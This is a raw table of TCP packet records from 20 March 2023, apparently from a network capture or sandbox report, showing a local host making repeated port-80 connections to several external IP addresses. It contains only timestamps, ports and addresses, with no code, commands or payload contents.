Mar 20, 2023 15:20:35.842674971 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.842746973 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.842932940 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.843162060 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:36.590159893 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:37.606221914 CET	49866	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:37.860163927 CET	80	49866	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:37.860512018 CET	49866	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:37.860512018 CET	49866	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:38.114259005 CET	80	49866	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:38.114355087 CET	80	49866	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:38.114423990 CET	80	49866	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:38.114741087 CET	49866	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:38.114845991 CET	49866	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:38.368298054 CET	80	49866	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:43.542125940 CET	49867	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:43.561487913 CET	80	49867	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:43.561752081 CET	49867	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:43.561834097 CET	49867	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:43.595520020 CET	80	49867	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:43.595851898 CET	49867	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:45.072571993 CET	49867	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:46.088454008 CET	49868	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:46.106986046 CET	80	49868	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:46.107234955 CET	49868	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:46.107448101 CET	49868	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:46.141176939 CET	80	49868	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:46.141937971 CET	49868	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:47.618825912 CET	49868	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.634752989 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.653661966 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.654057026 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.655178070 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.674103022 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674216986 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674320936 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674328089 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.674397945 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674462080 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674487114 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.674514055 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674571037 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674627066 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674684048 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.674701929 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.674885035 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.674981117 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.693424940 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693516970 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693579912 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693636894 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693691969 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693691015 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.693748951 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693804026 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693808079 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.693860054 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693916082 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.693969011 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694024086 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694024086 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.694078922 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694134951 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694188118 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694188118 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:48.694242001 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694295883 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694349051 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694401979 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.694454908 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.712985992 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713078976 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713140011 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713202953 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713258982 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713314056 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713413954 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.713471889 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.726005077 CET	80	49869	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:48.726340055 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:50.165307045 CET	49869	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:51.181344032 CET	49870	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:51.200062037 CET	80	49870	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:51.200247049 CET	49870	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:51.200299025 CET	49870	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:51.234343052 CET	80	49870	91.184.0.24	192.168.11.20
Mar 20, 2023 15:20:51.234630108 CET	49870	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:51.234739065 CET	49870	80	192.168.11.20	91.184.0.24
Mar 20, 2023 15:20:51.253353119 CET	80	49870	91.184.0.24	192.168.11.20
Mar 20, 2023 15:21:01.582642078 CET	49874	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:01.750565052 CET	80	49874	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:01.750900030 CET	49874	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:01.750983953 CET	49874	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:01.917831898 CET	80	49874	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:02.044004917 CET	80	49874	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:02.044054985 CET	80	49874	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:02.044275045 CET	49874	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:03.256184101 CET	49874	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:04.271892071 CET	49875	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:04.438546896 CET	80	49875	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:04.438756943 CET	49875	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:04.438855886 CET	49875	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:04.605504036 CET	80	49875	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:04.738012075 CET	80	49875	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:04.738087893 CET	80	49875	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:04.738475084 CET	49875	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:05.943150997 CET	49875	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:06.958538055 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.125380993 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.125780106 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.126868010 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.126921892 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.293766022 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.293843031 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.293908119 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.293987036 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.294087887 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.294168949 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.294358969 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.460563898 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.460593939 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.460613012 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.460870981 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.460994005 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461019993 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461040020 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461226940 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.461239100 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461261034 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461396933 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:07.461451054 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461472988 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.461853981 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.462312937 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.462351084 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.505660057 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.627568007 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.627636909 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.628396988 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.628470898 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.628519058 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.755343914 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.755431890 CET	80	49876	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:07.755774975 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:08.630072117 CET	49876	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:09.645718098 CET	49877	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:09.812099934 CET	80	49877	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:09.812248945 CET	49877	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:09.812328100 CET	49877	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:09.978415012 CET	80	49877	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:10.079699039 CET	80	49877	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:10.079763889 CET	80	49877	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:10.080260038 CET	49877	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:10.080380917 CET	49877	80	192.168.11.20	199.192.26.35
Mar 20, 2023 15:21:10.246783972 CET	80	49877	199.192.26.35	192.168.11.20
Mar 20, 2023 15:21:23.172100067 CET	49879	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:23.181255102 CET	80	49879	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:23.181402922 CET	49879	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:23.181605101 CET	49879	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:23.190301895 CET	80	49879	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:23.235719919 CET	80	49879	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:23.235740900 CET	80	49879	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:23.235754013 CET	80	49879	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:23.235979080 CET	49879	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:23.236197948 CET	80	49879	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:23.236538887 CET	49879	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:24.688976049 CET	49879	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:25.704857111 CET	49880	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:25.714061975 CET	80	49880	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:25.714306116 CET	49880	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:25.714544058 CET	49880	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:25.723520041 CET	80	49880	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:25.821568012 CET	80	49880	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:25.821641922 CET	80	49880	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:25.821688890 CET	80	49880	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:25.821746111 CET	80	49880	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:25.821944952 CET	49880	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:25.821944952 CET	49880	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:27.219675064 CET	49880	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.235408068 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.244656086 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.244899988 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.246006012 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.246098042 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.255117893 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255199909 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255275965 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255323887 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255353928 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.255389929 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255439997 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255528927 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.255630016 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255676985 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255686998 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.255846024 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.255868912 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.255893946 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.256031990 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.256205082 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.264410019 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.264506102 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.264625072 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.264691114 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.264759064 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.264869928 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.264899015 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.264982939 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.265038013 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.265208006 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.265317917 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.265392065 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.265703917 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.265815973 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.266105890 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.266360044 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.266633034 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.274270058 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.274934053 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.275388002 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.275638103 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.275890112 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.317867994 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.377799034 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.377857924 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.377901077 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.378029108 CET	49881	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:28.378182888 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:28.391171932 CET	80	49881	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.766144037 CET	49882	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:30.775243998 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.775397062 CET	49882	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:30.775650978 CET	49882	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:30.784435034 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.837548971 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.837590933 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.837625027 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.837655067 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:30.837817907 CET	49882	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:30.837817907 CET	49882	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:30.838221073 CET	49882	80	192.168.11.20	104.21.45.96
Mar 20, 2023 15:21:30.846793890 CET	80	49882	104.21.45.96	192.168.11.20
Mar 20, 2023 15:21:35.863627911 CET	49883	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:35.872514963 CET	80	49883	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:35.872733116 CET	49883	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:35.872982979 CET	49883	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:35.881741047 CET	80	49883	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:35.885536909 CET	80	49883	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:35.885602951 CET	80	49883	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:35.885885000 CET	49883	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:37.373558998 CET	49883	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:38.389672041 CET	49884	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:38.399024010 CET	80	49884	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:38.399379969 CET	49884	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:38.399604082 CET	49884	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:38.408629894 CET	80	49884	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:38.412086010 CET	80	49884	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:38.412182093 CET	80	49884	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:38.412606955 CET	49884	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:39.904264927 CET	49884	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.920634985 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.929529905 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.929778099 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.932997942 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.933101892 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.942152977 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942218065 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942266941 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942311049 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942397118 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.942400932 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942452908 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942497969 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942545891 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942576885 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.942593098 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942744970 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.942744970 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.942915916 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.943082094 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.943226099 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.951323032 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951391935 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951442003 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951528072 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.951541901 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951591015 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951699018 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.951741934 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951792955 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951837063 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.951879978 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.952023029 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952073097 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952117920 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952163935 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952197075 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:40.952209949 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952258110 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952318907 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952402115 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952450037 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952503920 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952557087 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.952600956 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.960275888 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.960632086 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961321115 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961389065 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961441994 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961486101 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961533070 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961579084 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961625099 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961714983 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.961762905 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.963830948 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.963905096 CET	80	49885	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:40.964139938 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:42.435077906 CET	49885	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.450653076 CET	49886	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.461559057 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:43.461811066 CET	49886	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.461874008 CET	49886	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.472660065 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:43.524441957 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:43.524571896 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:43.524624109 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:43.524668932 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:43.524903059 CET	49886	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.524950981 CET	49886	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.525126934 CET	49886	80	192.168.11.20	34.117.168.233
Mar 20, 2023 15:21:43.533642054 CET	80	49886	34.117.168.233	192.168.11.20
Mar 20, 2023 15:21:50.193399906 CET	49887	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:50.351492882 CET	80	49887	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:50.351819038 CET	49887	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:50.351905107 CET	49887	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:50.715090990 CET	80	49887	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:51.855046034 CET	49887	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:52.013179064 CET	80	49887	23.83.160.9	192.168.11.20
